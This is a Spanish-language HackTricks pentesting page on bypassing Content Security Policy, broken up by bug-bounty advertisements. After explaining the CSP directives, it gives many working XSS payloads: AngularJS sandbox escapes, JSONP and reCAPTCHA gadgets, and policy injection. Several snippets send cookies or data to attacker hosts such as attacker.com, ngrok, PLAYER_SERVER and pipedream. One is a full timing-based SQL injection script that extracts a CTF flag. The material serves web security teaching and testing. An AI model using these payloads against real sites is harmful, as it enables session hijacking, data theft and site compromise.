hacktricks/pentesting-web/content-security-policy-csp-bypass
2023-09-18 16:55:08 +00:00
..
csp-bypass-self-+-unsafe-inline-with-iframes.md f 2023-06-05 20:33:24 +02:00
README.md Translated ['pentesting-web/content-security-policy-csp-bypass/README.md 2023-09-18 16:55:08 +00:00

Bypass de la Política de Seguridad de Contenido (CSP)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProof es el hogar de todas las recompensas por errores de criptografía.

Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.

Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.

Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.

Regístrate en HackenProof y comienza a ganar con tus hacks!

{% embed url="https://hackenproof.com/register" %}

¿Qué es CSP?

Content Security Policy o CSP es una tecnología integrada en los navegadores que ayuda a protegerse de ataques como cross-site scripting (XSS). Enumera y describe las rutas y fuentes desde las cuales el navegador puede cargar de forma segura recursos. Los recursos pueden incluir imágenes, frames, javascript y más. Aquí tienes un ejemplo de recursos permitidos desde el dominio local (self) para ser cargados y ejecutados en línea, y permitir funciones de ejecución de código de cadena como eval, setTimeout o setInterval:

Content Security Policy se implementa mediante encabezados de respuesta o elementos meta de la página HTML. El navegador sigue la política recibida y bloquea activamente las violaciones a medida que se detectan.

Implementado mediante encabezado de respuesta:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

Implementado a través de la etiqueta meta:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Encabezados

  • Content-Security-Policy
  • Content-Security-Policy-Report-Only Este no bloqueará nada, solo enviará informes (úselo en un entorno de Pre).

Definición de recursos

CSP funciona restringiendo los orígenes desde donde se pueden cargar contenido activo y pasivo. Además, puede restringir ciertos aspectos del contenido activo, como la ejecución de JavaScript en línea y el uso de eval().

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Directivas

  • script-src: Esta directiva especifica las fuentes permitidas para JavaScript. Esto incluye no solo las URL cargadas directamente en elementos, sino también cosas como los controladores de eventos de script en línea (onclick) y las hojas de estilo XSLT que pueden activar la ejecución de scripts.
  • default-src: Esta directiva define la política para obtener recursos de forma predeterminada. Cuando las directivas de obtención están ausentes en la cabecera CSP, el navegador sigue esta directiva de forma predeterminada.
  • Child-src: Esta directiva define los recursos permitidos para los trabajadores web y los contenidos incrustados en marcos.
  • connect-src: Esta directiva restringe las URL que se pueden cargar utilizando interfaces como fetch, websocket, XMLHttpRequest.
  • frame-src: Esta directiva restringe las URL a los marcos que se pueden llamar.
  • frame-ancestors: Esta directiva especifica las fuentes que pueden incrustar la página actual. Esta directiva se aplica a <frame>, <iframe>, <object>, <embed> o <applet>. Esta directiva no se puede utilizar en etiquetas y se aplica solo a recursos que no son HTML.
  • img-src: Define las fuentes permitidas para cargar imágenes en la página web.
  • font-src:: Esta directiva especifica las fuentes válidas para las fuentes cargadas mediante @font-face.
  • manifest-src: Esta directiva define las fuentes permitidas de los archivos de manifiesto de la aplicación.
  • media-src: Define las fuentes permitidas desde las que se pueden cargar objetos multimedia.
  • object-src: Define las fuentes permitidas para los elementos <object>, <embed> y <applet>.
  • base-uri: Define las URL permitidas que se pueden cargar utilizando un elemento.
  • form-action: Esta directiva enumera los puntos finales válidos para el envío desde etiquetas.
  • plugin-types: Define límites en los tipos de mime que una página puede invocar.
  • upgrade-insecure-requests: Esta directiva instruye a los navegadores a reescribir los esquemas de URL, cambiando HTTP a HTTPS. Esta directiva puede ser útil para sitios web con un gran número de URL antiguas que necesitan ser reescritas.
  • sandbox: La directiva sandbox permite un sandbox para el recurso solicitado, similar al atributo sandbox. Aplica restricciones a las acciones de una página, incluyendo la prevención de ventanas emergentes, la prevención de la ejecución de complementos y scripts, y la aplicación de una política de mismo origen.

Fuentes

  • *: Esto permite cualquier URL excepto los esquemas data:, blob: y filesystem:.
  • self: Esta fuente define que se permite la carga de recursos en la página desde el mismo dominio.
  • data: Esta fuente permite cargar recursos a través del esquema de datos (por ejemplo, imágenes codificadas en Base64).
  • none: Esta directiva no permite cargar nada desde ninguna fuente.
  • unsafe-eval: Esto permite el uso de eval() y métodos similares para crear código a partir de cadenas. No es una práctica segura incluir esta fuente en ninguna directiva. Por la misma razón, se llama insegura.
  • unsafe-hashes: Esto permite habilitar controladores de eventos en línea específicos.
  • unsafe-inline: Esto permite el uso de recursos en línea, como elementos en línea, URLs de javascript: en línea, controladores de eventos en línea y elementos en línea. Nuevamente, esto no se recomienda por razones de seguridad.
  • nonce: Una lista blanca para scripts en línea específicos utilizando un nonce criptográfico (número utilizado una vez). El servidor debe generar un valor de nonce único cada vez que transmite una política.
  • sha256-<hash>: Lista blanca de scripts con un hash sha256 específico.
  • strict-dynamic: Permite al navegador cargar y ejecutar nuevas etiquetas de JavaScript en el DOM desde cualquier fuente de script que haya sido previamente incluida en una valor "nonce" o "hash".
  • host: Indica un host como example.com

Reglas CSP inseguras

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Carga útil de trabajo: "/><script>alert(1);</script>

self + 'unsafe-inline' a través de Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Carga de trabajo funcional:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Si de alguna manera puedes hacer que un código JS permitido cree una nueva etiqueta de script en el DOM con tu código JS, porque un script permitido lo está creando, la nueva etiqueta de script se permitirá ejecutar.

Comodín (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Carga de trabajo funcional:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Falta de object-src y default-src

{% hint style="danger" %} Parece que esto ya no funciona {% endhint %}

Content-Security-Policy: script-src 'self' ;

Cargas útiles funcionales:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Carga de archivos + 'self'

Descripción

La política de seguridad de contenido (CSP, por sus siglas en inglés) es una capa adicional de seguridad que se puede implementar en un sitio web para mitigar los ataques de inyección de código y otros tipos de ataques. Una de las directivas comunes en CSP es la directiva default-src, que especifica los orígenes permitidos para cargar recursos en una página web.

En algunos casos, un sitio web puede permitir la carga de archivos desde el mismo origen (self) utilizando la directiva default-src. Esto significa que solo se permitirá la carga de archivos desde el mismo dominio en el que se encuentra el sitio web.

Sin embargo, esta configuración puede ser aprovechada por un atacante para evadir las restricciones de carga de archivos y cargar archivos maliciosos en el sitio web.

Técnica de Bypass

Para evadir la restricción de carga de archivos y cargar archivos maliciosos en un sitio web que permite la carga desde el mismo origen (self), se puede utilizar la siguiente técnica:

  1. Crear un archivo HTML malicioso que contenga el código que se desea cargar en el sitio web.
  2. Subir el archivo HTML malicioso a un servicio de almacenamiento en la nube o a un servidor externo.
  3. Generar un enlace al archivo HTML malicioso.
  4. Insertar el enlace en una página web del mismo dominio que permite la carga de archivos desde self.
  5. Cuando un usuario acceda a la página web y haga clic en el enlace, el archivo HTML malicioso se cargará en el sitio web y ejecutará el código malicioso.

Esta técnica permite a un atacante cargar y ejecutar código malicioso en un sitio web que permite la carga de archivos desde el mismo origen (self), lo que puede conducir a una variedad de ataques, como la ejecución de código remoto (RCE) o la filtración de información confidencial.

Ejemplo

Supongamos que un sitio web permite la carga de archivos desde el mismo origen (self) utilizando la directiva default-src. Un atacante puede aprovechar esta configuración para cargar un archivo HTML malicioso que contiene código JavaScript malicioso.

El archivo HTML malicioso se carga en el sitio web utilizando la siguiente URL:

https://storage.example.com/malicious.html

El enlace al archivo HTML malicioso se inserta en una página web del mismo dominio que permite la carga de archivos desde self:

<a href="https://storage.example.com/malicious.html">Haz clic aquí para ver una foto divertida</a>

Cuando un usuario accede a la página web y hace clic en el enlace, el archivo HTML malicioso se carga en el sitio web y ejecuta el código JavaScript malicioso.

Mitigación

Para mitigar esta técnica de bypass, se recomienda no permitir la carga de archivos desde el mismo origen (self) utilizando la directiva default-src en la política de seguridad de contenido (CSP). En su lugar, se deben especificar orígenes específicos desde los cuales se permitirá la carga de archivos.

Además, se deben implementar otras medidas de seguridad, como la validación de archivos cargados y la desinfección de contenido, para prevenir la ejecución de código malicioso en el sitio web.

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Si puedes subir un archivo JS puedes evadir esta CSP:

Carga útil funcional:

"/>'><script src="/uploads/picture.png.js"></script>

Sin embargo, es muy probable que el servidor esté validando el archivo cargado y solo permitirá cargar un tipo específico de archivos.

Además, incluso si pudieras cargar un código JS dentro de un archivo utilizando una extensión aceptada por el servidor (como: script.png), esto no sería suficiente porque algunos servidores como el servidor Apache seleccionan el tipo MIME del archivo según la extensión y los navegadores como Chrome rechazarán ejecutar código Javascript dentro de algo que debería ser una imagen. "Afortunadamente", hay errores. Por ejemplo, de un CTF aprendí que Apache no reconoce la extensión .wave, por lo tanto, no la sirve con un tipo MIME como audio/*.

A partir de aquí, si encuentras una XSS y una carga de archivos, y logras encontrar una extensión mal interpretada, puedes intentar cargar un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo cargado, crea un políglota (algunos ejemplos de políglotas aquí).

Puntos finales de terceros + ('unsafe-eval')

{% hint style="warning" %} Para algunos de los siguientes payloads, unsafe-eval ni siquiera es necesario. {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Cargar una versión vulnerable de Angular y ejecutar JS arbitrario:

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.js"></script>
<script>
    angular.module('myApp', [])
        .controller('myController', function($scope, $sce) {
            $scope.name = $sce.trustAsHtml('<img src=x onerror=alert(1)>');
        });
</script>

<div ng-app="myApp" ng-controller="myController">
    <div ng-bind-html="name"></div>
</div>

Este código carga una versión vulnerable de AngularJS y ejecuta código JavaScript arbitrario. El controlador myController asigna una cadena de texto que contiene una etiqueta de imagen con un evento onerror que muestra una alerta. La función $sce.trustAsHtml se utiliza para permitir la ejecución del código HTML dentro del controlador. El resultado se muestra en el elemento <div> utilizando la directiva ng-bind-html.

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Cargas útiles utilizando Angular + una biblioteca con funciones que devuelven el objeto window (consulta esta publicación):

{% hint style="info" %} La publicación muestra que podrías cargar todas las bibliotecas desde cdn.cloudflare.com (o cualquier otro repositorio permitido de bibliotecas JS), ejecutar todas las funciones agregadas de cada biblioteca y verificar qué funciones de qué bibliotecas devuelven el objeto window. {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>



Abuso del código JS de Google reCAPTCHA

Según este informe de CTF, puedes abusar de https://www.google.com/recaptcha/ dentro de una CSP para ejecutar código JS arbitrario eludiendo la CSP:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Puntos finales de terceros + JSONP

Cuando un sitio web utiliza una Política de Seguridad de Contenido (CSP) para restringir los recursos que se pueden cargar en una página, es posible que los atacantes intenten evadir estas restricciones utilizando puntos finales de terceros y JSONP.

JSONP (JSON with Padding) es una técnica que permite solicitar recursos de dominios diferentes al dominio actual mediante la inclusión de un script en la página. Esta técnica se utiliza comúnmente para obtener datos de API de terceros.

Para evadir una CSP utilizando JSONP, el atacante puede buscar puntos finales de terceros que permitan la inclusión de scripts y que no estén restringidos por la política de seguridad del sitio web objetivo. Una vez que se encuentra un punto final adecuado, el atacante puede construir una solicitud JSONP para obtener datos del punto final y ejecutar código malicioso en la página.

Es importante tener en cuenta que el uso de JSONP puede introducir riesgos de seguridad, ya que permite la ejecución de código arbitrario en el contexto del sitio web objetivo. Por lo tanto, es recomendable utilizar otras técnicas más seguras para obtener datos de dominios de terceros, como CORS (Cross-Origin Resource Sharing) o proxies de servidor.

En resumen, los atacantes pueden intentar evadir una Política de Seguridad de Contenido utilizando puntos finales de terceros y JSONP. Sin embargo, es importante tener en cuenta los riesgos de seguridad asociados con el uso de JSONP y considerar otras opciones más seguras para obtener datos de dominios de terceros.

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Escenarios como este, donde script-src está configurado como self y un dominio en particular que está en la lista blanca, pueden ser eludidos utilizando JSONP. Los puntos finales de JSONP permiten métodos de devolución de llamada inseguros que permiten a un atacante realizar XSS. Carga útil de trabajo:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee contiene puntos finales JSONP listos para usar para eludir la CSP de diferentes sitios web.

La misma vulnerabilidad ocurrirá si el punto final confiable contiene una redirección abierta porque si el punto final inicial es confiable, las redirecciones también son confiables.

Bypass de ruta de carpeta

Si la política de CSP apunta a una carpeta y utilizas %2f para codificar "/", aún se considera que está dentro de la carpeta. Todos los navegadores parecen estar de acuerdo con eso.
Esto lleva a un posible bypass, utilizando "%2f..%2f" si el servidor lo decodifica. Por ejemplo, si CSP permite http://example.com/company/, puedes eludir la restricción de la carpeta y ejecutar: http://example.com/company%2f..%2fattacker/file.js

Ejemplo en línea: https://jsbin.com/werevijewa/edit?html,output

Ejecución de JS en iframes

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

falta base-uri

Si falta la directiva base-uri, puedes abusar de ella para realizar una inyección de marcado colgante.

Además, si la página está cargando un script usando una ruta relativa (como /js/app.js) utilizando un Nonce, puedes abusar de la etiqueta base para hacer que se cargue el script desde tu propio servidor logrando un XSS.
Si la página vulnerable se carga con httpS, asegúrate de usar una URL httpS en la base.

<base href="https://www.attacker.com/">

Eventos de AngularJS

Dependiendo de la política específica, el CSP bloqueará los eventos de JavaScript. Sin embargo, AngularJS define sus propios eventos que se pueden utilizar en su lugar. Cuando se encuentra dentro de un evento, AngularJS define un objeto especial $event, que simplemente hace referencia al objeto de evento del navegador. Puede utilizar este objeto para realizar un bypass del CSP. En Chrome, hay una propiedad especial en el objeto $event/event llamada path. Esta propiedad contiene una matriz de objetos que hace que se ejecute el evento. La última propiedad es siempre el objeto window, que podemos utilizar para realizar un escape del sandbox. Al pasar esta matriz al filtro orderBy, podemos enumerar la matriz y utilizar el último elemento (el objeto window) para ejecutar una función global, como alert(). El siguiente código demuestra esto:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Encuentra otras formas de bypass Angular en https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS y dominio en lista blanca

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Si la aplicación está utilizando Angular JS y los scripts se cargan desde un dominio permitido, es posible eludir esta política CSP llamando a funciones de devolución de llamada y clases vulnerables. Para obtener más detalles, visita este increíble repositorio en git.

Cargas útiles funcionales:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Otros puntos finales de ejecución arbitraria JSONP se pueden encontrar aquí (algunos de ellos fueron eliminados o corregidos)

Bypass CSP con marcado colgante

Lea cómo aquí.

'unsafe-inline'; img-src *; a través de XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' significa que puedes ejecutar cualquier script dentro del código (XSS puede ejecutar código) y img-src * significa que puedes usar en la página web cualquier imagen de cualquier recurso.

Puedes evadir esta CSP exfiltrando los datos a través de imágenes (en esta ocasión, XSS abusa de un CSRF donde una página accesible por el bot contiene una SQLi y extrae la bandera a través de una imagen):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

Desde: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

También se puede abusar de esta configuración para cargar código JavaScript insertado dentro de una imagen. Por ejemplo, si la página permite cargar imágenes desde Twitter, se puede crear una imagen especial, subirla a Twitter y abusar de la directiva "unsafe-inline" para ejecutar un código JS (como un XSS regular) que cargará la imagen, extraerá el JS de ella y lo ejecutará: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Con Service Workers

La función importScripts de los service workers no está limitada por la CSP:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Inyección de Políticas

Investigación: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Si un parámetro enviado por ti es pegado dentro de la declaración de la política, entonces se puede alterar la política de alguna manera que la vuelva inútil. Se puede permitir el script 'unsafe-inline' con cualquiera de estos bypasses:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Porque esta directiva sobrescribirá las directivas script-src existentes.
Puedes encontrar un ejemplo aquí: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

En Edge es mucho más simple. Si puedes agregar esto en la CSP: ;_ Edge descartará toda la política.
Ejemplo: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; a través de XSS (iframe) - Ataque de tiempo

Observa la falta de la directiva 'unsafe-inline'
Esta vez puedes hacer que la víctima cargue una página bajo tu control a través de XSS con un <iframe>. Esta vez harás que la víctima acceda a la página desde donde deseas extraer información (CSRF). No puedes acceder al contenido de la página, pero si de alguna manera puedes controlar el tiempo que la página necesita para cargarse, puedes extraer la información que necesitas.

Esta vez se va a extraer una bandera, cada vez que se adivine correctamente un carácter a través de SQLi, la respuesta tardará más tiempo debido a la función de espera. Luego, podrás extraer la bandera:

<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

A través de Bookmarklets

Este ataque implicaría ingeniería social donde el atacante convence al usuario de arrastrar y soltar un enlace sobre el bookmarklet del navegador. Este bookmarklet contendría código javascript malicioso que, al ser arrastrado y soltado o clicado, se ejecutaría en el contexto de la ventana web actual, burlando la CSP y permitiendo robar información sensible como cookies o tokens.

Para obtener más información, consulta el informe original aquí.

Burlando CSP restringiendo CSP

En este informe de CTF, se burla la CSP inyectando dentro de un iframe permitido una CSP más restrictiva que impide cargar un archivo JS específico que, luego, a través de polución de prototipos o sobrescritura del DOM, permite abusar de un script diferente para cargar un script arbitrario.

Puedes restringir una CSP de un iframe con el atributo csp:

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

En este informe de CTF, fue posible a través de inyección HTML restringir aún más una CSP para deshabilitar un script que previene CSTI y, por lo tanto, la vulnerabilidad se volvió explotable.
CSP puede ser más restrictivo utilizando etiquetas meta HTML y los scripts en línea pueden ser deshabilitados eliminando la entrada que permite su nonce y habilitando scripts en línea específicos a través de sha:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

Exfiltración de JS con Content-Security-Policy-Report-Only

Si logras que el servidor responda con el encabezado Content-Security-Policy-Report-Only con un valor controlado por ti (quizás debido a un CRLF), podrías hacer que apunte a tu servidor y si envuelves el contenido JS que deseas exfiltrar con <script> y debido a que es altamente probable que unsafe-inline no esté permitido por la CSP, esto desencadenará un error de CSP y parte del script (que contiene la información sensible) se enviará al servidor desde Content-Security-Policy-Report-Only.

Para un ejemplo, consulta este informe de CTF.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Fuga de información CSP + Iframe

Imagina una situación en la que una página redirige a otra página con un secreto dependiendo del usuario. Por ejemplo, cuando el usuario admin accede a redirectme.domain1.com, es redirigido a adminsecret321.domain2.com y puedes causar un XSS al admin.
Además, las páginas redirigidas no están permitidas por la política de seguridad, pero la página que redirige sí lo está.

Puedes filtrar el dominio al que se redirige el admin a través de:

  • violación de CSP
  • reglas de CSP.

La violación de CSP es una filtración instantánea. Todo lo que se necesita hacer es cargar un iframe que apunte a https://redirectme.domain1.com y escuchar el evento securitypolicyviolation que contiene la propiedad blockedURI que contiene el dominio del URI bloqueado. Esto se debe a que https://redirectme.domain1.com (permitido por CSP) redirige a https://adminsecret321.domain2.com (bloqueado por CSP). Esto aprovecha el comportamiento no definido de cómo manejar iframes con CSP. Chrome y Firefox se comportan de manera diferente en este aspecto.

Cuando conoces los caracteres que pueden componer el subdominio secreto, también puedes utilizar una búsqueda binaria y verificar cuándo CSP bloquea el recurso y cuándo no, creando diferentes dominios prohibidos en CSP (en este caso, el secreto puede tener la forma doc-X-XXXX.secdrivencontent.dev)

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Truco de aquí.

HackenProof es el hogar de todas las recompensas por errores de criptografía.

Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.

Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.

Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.

Regístrate en HackenProof ¡comienza a ganar con tus hacks!

{% embed url="https://hackenproof.com/register" %}

Tecnologías inseguras para evadir CSP

Sobrecarga del búfer de respuesta de PHP

PHP es conocido por almacenar en búfer la respuesta hasta 4096 bytes de forma predeterminada. Por lo tanto, si PHP muestra una advertencia, al proporcionar suficientes datos dentro de las advertencias, la respuesta se enviará antes del encabezado CSP, lo que hará que el encabezado se ignore.
Entonces, la técnica consiste básicamente en llenar el búfer de respuesta con advertencias para que el encabezado CSP no se envíe.

Idea de este writeup.

Reescribir la página de error

Según este writeup, parece ser posible evadir una protección CSP cargando una página de error (potencialmente sin CSP) y reescribiendo su contenido.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME es una técnica que abusa de un XSS (o XSS altamente limitado) en un punto final de una página para abusar de otros puntos finales del mismo origen. Esto se hace cargando el punto final vulnerable desde una página del atacante y luego actualizando la página del atacante al punto final real en el mismo origen que se desea abusar. De esta manera, el punto final vulnerable puede usar el objeto opener en la carga útil para acceder al DOM del punto final real que se desea abusar. Para obtener más información, consulta:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

Además, wordpress tiene un punto final JSONP en /wp-json/wp/v2/users/1?_jsonp=data que reflejará los datos enviados en la salida (con la limitación de solo letras, números y puntos).

Un atacante puede abusar de ese punto final para generar un ataque SOME contra WordPress e incrustarlo dentro de <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>. Ten en cuenta que este script se cargará porque está permitido por 'self'. Además, y debido a que WordPress está instalado, un atacante podría abusar del ataque SOME a través del punto final de callback vulnerable que bypasses the CSP para otorgar más privilegios a un usuario, instalar un nuevo complemento... Para obtener más información sobre cómo realizar este ataque, consulta https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

Bypasses de exfiltración de CSP

Si hay un CSP estricto que no te permite interactuar con servidores externos, hay algunas cosas que siempre puedes hacer para exfiltrar la información.

Location

Simplemente puedes actualizar la ubicación para enviar al servidor del atacante la información secreta:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Etiqueta meta

Podrías redirigir mediante la inyección de una etiqueta meta (esto es solo una redirección, no filtrará contenido)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

Para cargar las páginas más rápido, los navegadores resuelven de antemano los nombres de host en direcciones IP y las almacenan en caché para su uso posterior.
Puedes indicarle a un navegador que resuelva de antemano un nombre de host con: <link reol="dns-prefetch" href="algo.com">

Podrías abusar de este comportamiento para filtrar información sensible a través de solicitudes DNS:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Otra forma:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Para evitar que esto suceda, el servidor puede enviar el encabezado HTTP:

X-DNS-Prefetch-Control: off

